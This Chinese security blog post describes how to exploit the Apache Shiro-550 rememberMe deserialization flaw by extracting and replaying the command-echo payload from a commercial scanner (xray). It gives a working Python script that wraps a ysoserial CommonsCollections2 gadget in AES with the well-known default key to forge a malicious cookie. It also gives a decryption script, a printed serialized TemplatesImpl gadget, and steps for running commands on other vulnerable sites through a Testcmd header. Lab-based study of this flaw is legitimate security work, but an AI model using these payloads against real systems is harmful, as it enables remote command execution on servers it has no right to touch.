0x00 前言
上周五,xray社区公众号发布xray高级版更新公告,新增 shiro 插件,shiro 漏洞一键检测。文章链接(点我)
上图来源于微信公众号文章,可以看到,通过shiro-550这个神洞,可以将命令执行结果回显在响应包中。没错,它竟然回显了。
文章还介绍:
该插件内置长亭独有的反序列化研究成果
总结一下该插件亮点为:
内置独家 Java 反序列化利用链,有效作用于 shiro 环境
内置 Payload 支持全版本 Tomcat 回显,Tomcat 6,7,8,9 均通过测试
借助反连平台可以完美支持非 Tomcat 环境的漏洞检测
完整转置 ysoserial 至 Go 代码,无需 Java 依赖即可运行
自带 shiro 100 key,且支持通过配置文件自定义 shiro key
仔细想了想,这个独家Java反序列化利用链可能不会公布了,但我本人使用的高级版xray还是上个月xray社区一周年活动领取的,体验期只有两个月。又想一直“占有”这个shiro插件,故对其整个利用过程进行了简单研究,总结一个通用方法,达到同xray利用shiro相同的效果。
0x01 shiro rememberMe加解密过程
shiro RememeberMe 1.2.4反序列化漏洞这个漏洞原理不需要在这里多说,各大安全社区已经有很多分析文章,这里简单重复shiro 1.2.4及以下版本下默认cookie中rememberMe字段的生成过程:
1. 序列化恶意对象(payload)
2. 对序列化的数据进行AES加密
3. 将加密后的数据进行base64编码
4. 发送rememberMe cookie
贴一个加密码脚本:
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(payload,command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', payload, command], stdout=subprocess.PIPE)
BS = AES.block_size # 16
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "ikB3y6O9BpimrZLB3rca0w=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ysopayload = popen.stdout.read()
file_body = pad(ysopayload)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme('CommonsCollections2',sys.argv[1])
# print("rememberMe={}".format(payload.decode()))
with open("payload.cookie", "w") as fpw:
print("{}".format(payload.decode()), file=fpw)
这里需要注意的是,AES加密时,需要选择一个偏移向量IV,IV拼接在加密数据前(占16位),两者拼接后的数据经过base64编码后组成rememberMe cookie
同理,我们在Cookie中拿到rememberMe字段时,也可以依据以下的步骤进行解码,提取出有效关键的payload。
1. 获取rememberme cookie
2. base64 decode
3. 从第2步解码后的数据,前16位数据为加解密需要的iv,后面的数据为加密数据
4. 根据key、iv和加密模式(shiro中AES默认CBC)解密得到关键的序列化数据
贴一个简单的解密脚本:
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def decode_remember(remember):
iv = base64.b64decode(remember)[:16]
file_body = base64.b64decode(remember)[16:]
key = "ikB3y6O9BpimrZLB3rca0w=="
mode = AES.MODE_CBC
decryptor = AES.new(base64.b64decode(key), mode, iv)
result = decryptor.decrypt(file_body)
print(result)
with open("xray.cookie", "r") as f:
remember = f.readline().strip()
# print(remember)
decode_remember(remember)
得到这个序列化数据有啥用呢?文章开头就介绍了xray高级版对shiro550的“独家”回显利用,有了这个提取出来的关键的序列化数据,是不是就可以复用了?
0x02 xray高级版shiro插件使用
我们在本地搭建一个存在shiro550漏洞的靶场,演示下这个插件的利用过程。
上周五中午看到xray社区的文章,并没有介绍具体怎么使用这个插件。当我尝试使用xray对靶场进行shiro漏洞检测时,确实被检测出存在550这个漏洞:
./xray_windows_amd64.exe webscan --url "http://ip:port/login" --plugins shiro
漏洞是检测出来了,但说好的回显呢,还是我利用姿势不对?
我又翻出那篇社区文章,文章中显示的回显内容是在burp中,那就是要抓下这个过程的请求包。
打开xray配置文件config.yaml
,找到下图中设置http代理的地方,将proxy
字段设置为本地burp监听的端口(如:127.0.0.1:8080)
打开burp监听,启动xray:
可以看到xray的请求过程可以分为四步:
1. 访问给定的url,是否可以正常访问
2. xray默认访问index.php
3. 继续访问给定的url,同时带上rememberMe cookie,观察响应包中是否存在deleteMe关键字
4. 从100个key中选择,构造payload通过rememberMe cookie发送过去,并添加请求头Testecho(用于判断),看响应包中是否有预期的值
第四步我们可以再深入看下
cookie中的payload和Testecho
请求头一起发送出去,在响应包中判断是否存在漏洞(Testecho的值并没有影响)。
命令执行回显
在请求头中添加Testcmd
,值为要执行的命令:
很愉快得看到了回显,这样利用起来真的不要太方便!
0x03 对该插件进行复用
这个请求包对其他网站是否也适用呢?
我又搭建了一个后端存在shiro-550漏洞,网站功能区别于前一个靶场。xray也检测出存在相关的漏洞,所用的KEY
也是一样。
我们经过前面的分析,知道了rememberMe cookie中的数据是经过key进行加密的(于iv无关),两个靶场的shiro key都是一样,那这个payload是不是可以原封不动地利用呢?
于是乎,我把这个请求包中的请求target
、Host请求头
进行修改,同样得到了命令回显结果,简直不要太舒服好吗。
认真观看上面两张结果截图的师傅可能发现了,这两个靶场都是Windows系统的,那Linux系统也可以复用吗?(狗头)
废话不多说,直接上Linux靶场,shiro的key还是同前面两种情况一样,改请求target
、Host请求头
一把梭:
太强了!Linux下同样适用。
0x04 提取关键payload
前面已经尝试了三种情况的靶场,都没问题。但三个靶场的key都是一样,要是以后碰到的目标key不同,那就不能直接梭了。
我们在前面的利用过程中,是已经知道shiro key的值,默认的加密模式是CBC,iv也可以从rememberMe的前16位提取出来,那这样就可以直接解密出关键payload,留着以后复用。
解密脚本在本文0x02中有贴出来。
解密出来关键序列化payload:
b'xacxedx00x05srx00x11java.util.HashMapx05x07xdaxc1xc3x16`xd1x03x00x02Fx00nloadFactorIx00tthresholdxp?@x00x00x00x00x00x0cwx08x00x00x00x10x00x00x00x01srx004org.apache.commons.collections.keyvalue.TiedMapEntryx8axadxd2x9b9xc1x1fxdbx02x00x02Lx00x03keytx00x12Ljava/lang/Object;Lx00x03maptx00x0fLjava/util/Map;xpsrx00:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpltWOxc1nxacxab3x03x00x08Ix00r_indentNumberIx00x0e_transletIndexZx00x15_useServicesMechanismLx00x0b_auxClassestx00;Lcom/sun/org/apache/xalan/internal/xsltc/runt
···
···
···
x0enewTransformerurx00x12[Ljava.lang.Class;xabx16xd7xaexcbxcdZx99x02x00x00xpx00x00x00x00sqx00~x00x00?@x00x00x00x00x00x0cwx08x00x00x00x10x00x00x00x00xxtx00x01txx0fx0fx0fx0fx0fx0fx0fx0fx0fx0fx0fx0fx0fx0fx0f'
最后面0xf个’0xf’为AES加密前对数据的填充。
这样,以后碰到存在漏洞的shiro站后,可以用shirotools
或者shiroexploit
探测下,确认使用的KEY
,再用这个key加密上面得到的序列化数据,就可以继续复用了。
很美好是不是,稍等。长亭说用的是独家的回显gadget,那他们这个gadget有多少个?
0x05 使用过程中存在的问题
经过试验,我一直使用上面测试过的gadget,基本上很多情况都可以直接打。但也有碰到shiroexploit能检测出来并且DnsLog有回显,xray没有检测出来的情况。这个问题应该是跟xray的实现有关。
我们平时利用shiro 550这个漏洞时,会用dnslog进行检测,前面我们看到了xray整个请求发包过程,是用的Testecho
这个请求头,根据响应包中的内容判断是不是存在漏洞(完全是我个人的猜测,如有误,请批评指正!),这样可能对自己的gadget太过自信了,就导致shiroexploit检测出来,而xray却漏了。(再次声明,这完全是我本人的猜测。)
总之,长亭的师傅们太强了!xray真香,本菜鸡也要赶紧提交五个poc,争取早日换取高级版xray。